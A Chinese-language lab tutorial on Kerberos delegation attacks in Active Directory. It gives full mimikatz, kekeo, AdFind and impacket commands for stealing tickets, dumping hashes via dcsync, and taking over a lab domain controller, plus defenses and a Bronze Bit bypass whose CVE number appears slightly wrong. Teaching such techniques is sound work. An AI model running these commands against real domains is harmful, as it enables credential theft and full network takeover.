文章目录
域委派攻击
教材内容
一、委派概述
1.1 什么是委派
域委派是指将域内用户的权限委派给服务账户,使得服务账户能以用户的权限在域内展开活动。简而言之,就是若用户 A 将自己的权限委派给服务账户 B ,那么服务账户 B 就能以 A 的权限去访问其他服务。
注:能够被委派的用户只能是服务账户或者机器账户。
- 服务账户:服务器运行服务时所用的账户,用于运行服务并将其加入域内。常见的服务账户有 SQLServer、MYSQL、IIS等。
- 机器账户:活动目录中的 Computers 组内的计算机,也被称为机器账户。
1.2 委派的类别
域委派分为三种:非约束性委派,约束性委派,基于资源的约束性委派。
二、非约束委派攻击
2.1 原理概述
2.1.1 非约束委派
非约束委派(Unconstrained Delegation, UD):服务账户可以获取被委派用户的 TGT ,并将 TGT 缓存到 lsass 进程中,从而服务账户可使用该 TGT ,模拟用户访问任意服务。
2.1.2 非约束委派流程
- 域内用户A 经过Kerberos认证后访问WEB服务器上的资源或页面。
- WEB服务器以服务账户B向 KDC 请求用户 A 的认证票据 TGT。
- KDC检查服务账户B的委派属性,验证通过后下发 TGT。
- 服务账户B利用 TGT 向 KDC 的 TGS 申请服务票据(ST),用于访问文件服务器等功能。
- KDC检查委派属性和申请的服务,下发对应服务的ST。
- 服务账户B使用 ST 访问其他服务,以获取对应资源。
- 认证通过,获取到对应资源。
- Web服务器返回资源给用户A。
2.2 复现
2.2.3 实验环境
DC(Windows Server 2008 R2):192.168.219.151 [域控]
Server(Windows7):192.168.219.152 [普通域服务器]
域:woniuxy.com
域管理员:woniuxy\administrator p-0p-0p-0
Sever的本地管理员:server\administrator o-0o-0o-0
普通域用户:web p-0p-0p-0
-
机器账户的非约束性委派设置
机器账户 server 的属性中设置委派属性,勾选“信任此计算机来委派任何服务…”,如下:
-
服务账户的非约束委派设置
普通域用户无法进行委派,我们可以创建一个普通域用户,而后将其修改为服务账户,通过添加ServicePrincipalNames 属性进行修改。
setspn -A https/web lisi
而后再次查看对应web用户属性,即可发现委派选项,进行如下设置即可。
-
查看域内非约束性委派的机器用户
AdFind.exe -b "DC=woniuxy,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
(注:域内域控机器账户默认设置了非约束委派)
-
查看域内非约束性委派的服务账户
AdFind.exe -b "DC=woniuxy,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
2.2.4 实验过程
以下展示一种基本的利用方式。诱使域管理员访问机器,当域管理员使用net use等远程访问命令访问对应设置了非约束性委派的主机,那么在那台被访问的主机上可以抓取到域控管理员的 TGT。
-
模拟域管理员登录或远程访问其c盘。
net use \\server /user:administrator p-0p-0p-0 dir \\server\c$
-
使用server的本地管理员登录server(Windows server 2008),使用 mimikatz 导出票据。
privilege::debug sekurlsa::tickets /export
在当前文件夹下查看到域管理员的票据,如下:
-
导入票据前,访问 dc 的 c 盘,提示登录失败
-
使用 mimikatz 导入票据
kerberos::ptt [0;21a1f1]-2-0-60a10000-Administrator@krbtgt-WONIUXY.COM.kirbi
再次访问,发现成功访问dc的c盘。
-
使用mimikatz的dcsync功能导出administrator的NTLM hash值
dcsync 是 mimikatz的一个功能,利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求,能够用来导出域内所有用户的hash。
lsadump::dcsync /domain:woniuxy.com /user:Administrator
能获取到管理员的NTLM值,在CS中直接可以获取域控权限,后续操作均一致。
-
使用 impacket 的 wmiexec.py 登录dc。
(若没有对应脚本可自行下载,https://github.com/fortra/impacket/tree/master/examples)
python3 /usr/local/bin/wmiexec.py -hashes 1111:9099d68602a60f007c227c4fa95fada6 Administrator@192.168.219.151
三、约束委派攻击
3.1 原理概述
3.1.1 约束委派
约束委派(Constrained Delegation, CD):由于非约束委派的不安全性,微软在Windows Server 2003中发布了约束性委派。对于约束性委派(Constrained Delegation),即 Kerberos 的两个扩展子协议 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy),服务账户只能获取用户的 ST (Service Ticket),从而只能模拟用户访问特定的服务。
配置了约束性委派的账户,其两个属性会被设置:
- 账户userAccountControl属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION标志位,其值为16781312
- 账户的msDS-AllowedToDelegateTo属性,添加允许委派的服务
约束委派分为两种:
- 仅使用Kerberos,无法协议转换
- 使用任何身份验证协议
3.1.2 S4u2self 与 S4U2proxy 协议
S4u2self :允许服务代表任意用户请求访问自身服务的 ST 服务票据。
S4U2proxy:允许服务在已取得可转发的 ST 服务票据下代表任意用户获取另一个服务的 ST 服务票据。约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。
简单来说S4u2self协议使用用户的 TGT 向 KDC 请求用户的可转发的服务票据 ST1,而后 S4U2proxy 协议用这张 ST1 去发起请求用于访问服务器的服务票据 ST2 。
3.1.3 攻击原理
约束性委派攻击的关键就是获得可转发的服务票据 ST,获取根据约束性委派的执行过程可知,只要控制配置约束性委派服务的机器,并获得了机器账户的密码或Hash等凭证,那么就可以劫持这台主机的kerberos 请求过程,最终获得任意用户权限的 ticket。
3.2 复现
3.2.3 实验环境
DC(Windows Server 2008 R2):192.168.219.151 [域控]
Server(Windows 7):192.168.219.152 [普通域服务器]
域:woniuxy.com
域管理员:woniuxy\administrator p-0p-0p-0
Sever的本地管理员:server\administrator o-0o-0o-0
普通域用户(已添加SPN属性):web p-0p-0p-0
-
设置机器账户的约束性委派,配置此机器账户提供 dc 的 cifs 服务的委派凭据。
(服务账户同理)
-
使用 ADFind 查询配置了约束委派机器账户(主机)
AdFind.exe -b "DC=woniuxy,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
-
使用 ADFind 查询配置了约束委派服务账户
AdFind.exe -b "DC=woniuxy,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
3.2.3 获取机器账户的票据进行利用
利用条件:
- 获取一台域内服务器或主机的本地管理员权限
- 该台域内主机的机器账户配置了约束性委派
-
登录域内服务器(Server)的本地管理员账户,在具有管理员权限的cmd中运行mimikatz,并导出票据。
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
导出结果如下,找到对应机器账户 server 的票据 [0;3e7]-2-1-40e10000-SERVER$@krbtgt-WONIUXY.COM.kirbi 。
-
使用kekeo.exe工具申请服务票据(通过S4U2Proxy协议)。
kekeo是一款开源的票据传递工具,kekeo指定域名、用户名、NTLM哈希来生成对应票据。这里我们通过S4U2Proxy协议获取域管理员的访问域控的cifs服务权限的票据。
kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-SERVER$@krbtgt-WONIUXY.COM.kirbi /user:Administrator@woniuxy.com /service:cifs/dc.woniuxy.com" "exit"
获取到对应的票据,我们需要的是 cifs 的票据(第一个)。
-
导入票据前,访问 dc 的 c 盘,失败。
-
使用mimikatz导入对应票据。
mimikatz.exe "kerberos::ptt TGS_Administrator@woniuxy.com@WONIUXY.COM_cifs~dc.woniuxy.com@WONIUXY.COM.kirbi" "exit"
-
再次访问 dc 的 c 盘,成功获取。
dir \\dc\c$
3.2.3 获取机器账户的 Hash 进行利用
-
登录域内服务器(Server)的本地管理员账户,在具有管理员权限的cmd中运行mimikatz,并导出票据。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
-
通过获取到的机器账户的NTLM hash ,在 kali 上使用 impacket 工具包的getST.py进行域管理员票据的获取。
(若没有对应脚本可自行下载,https://github.com/fortra/impacket/tree/master/examples)
python3 /usr/local/bin/getST.py -dc-ip 192.168.219.151 -spn CIFS/dc.woniuxy.com -impersonate administrator woniuxy.com/SERVER$ -hashes :332abdb433c67c20717f4271dec6e68b
-
在 /etc/hosts 中添加对应 dc 域名的记录,因为后续利用使用的工具需要用域名的方式访问。
192.168.219.151 dc.woniuxy.com
-
通过获取到的域管理员的票据(ST) ,在 kali 上使用 impacket 工具包的wmiexec.py进行域控远程登录。
KRB5CCNAME=administrator.ccache python3 /usr/local/bin/wmiexec.py -k woniuxy.com/administrator@dc.woniuxy.com -dc-ip 192.168.219.151
四、 防御与绕过
4.1 防御措施
- 将域管理员设置为敏感账户,不能被委派。
- 若要设置委派,不设置非约束性委派而是设置约束性委派。
- 可以将敏感用户添加至“Protected Users”组中,该组用户不允许被委派。
4.2 敏感账户设置绕过方式
对域委派安全功能绕过主要是通过Kerberos Bronze Bit攻击(CVE-2020-1704),由于服务可以解密自身的票据并且forwardable值不在PAC中,在使用时,forwardable值不受到检查,进而实现绕过目的。
先将administrator设置为敏感账户。
此时进行委派票据获取是会报错,如下:
我们可以 getST.py 命令中加上“ -force-forwardable ”参数,即可使用对应漏洞进行绕过。
该漏洞可以更新微软补丁程序(KB4598347)进行修复。